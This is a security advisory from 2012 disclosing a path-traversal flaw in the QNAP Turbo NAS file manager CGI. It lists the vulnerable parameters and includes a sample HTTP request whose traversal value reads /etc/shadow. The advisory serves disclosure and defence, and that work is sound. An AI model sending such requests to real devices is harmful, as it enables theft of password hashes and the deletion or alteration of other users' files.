QNAP Turbo NAS Multiple Path Injection

2012.09.04
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

************************************************************** Vulnerability: Multiple Path Injection Product: QNAP Turbo NAS Vendor: QNAP Version affected: <= 3.7.3 build 20120801 Status: Unpatched Website: http://web.qnap.com/pro_detail_feature.asp?p_id=202 Discovered by: Andrea Fabrizi Email: andrea.fabrizi () gmail com Web: http://www.andreafabrizi.it ************************************************************** This vulnerability has been discovered on QNAP TS-1279U-RP, but probably other products that use the same firmware may be affected. The CGI "/cgi-bin/filemanager/utilRequest.cgi" is prone to a path injection, which makes it possible, for authenticated users, to access, delete o modify any file, included system files, configuration files and files owned by other users. Due to the single user configuration of the embedded linux system, it is possible to access any system file without restrictions (included /etc/shadow, that contains the hash of the administrator password). Vulnerable parameters are (the list is not exhaustive): /cgi-bin/filemanager/utilRequest.cgi [source_file] /cgi-bin/filemanager/utilRequest.cgi?func=delete [file_name] /cgi-bin/filemanager/utilRequest.cgi?func=copy [dest_path] /cgi-bin/filemanager/utilRequest.cgi?func=move [dest_path] /cgi-bin/filemanager/utilRequest.cgi?func=get_acl_properties [name] Sample HTTP request: ########################################################### POST /cgi-bin/filemanager/utilRequest.cgi/test.txt HTTP/1.1 Host: 192.168.0.10 Content-Type: application/x-www-form-urlencoded Content-Length: 123 isfolder=0&func=download&sid=12345abc&source_total=1&source_path=/myFiles&source_file=../../../etc/shadow ###########################################################

References:

http://web.qnap.com/pro_detail_feature.asp?p_id=202


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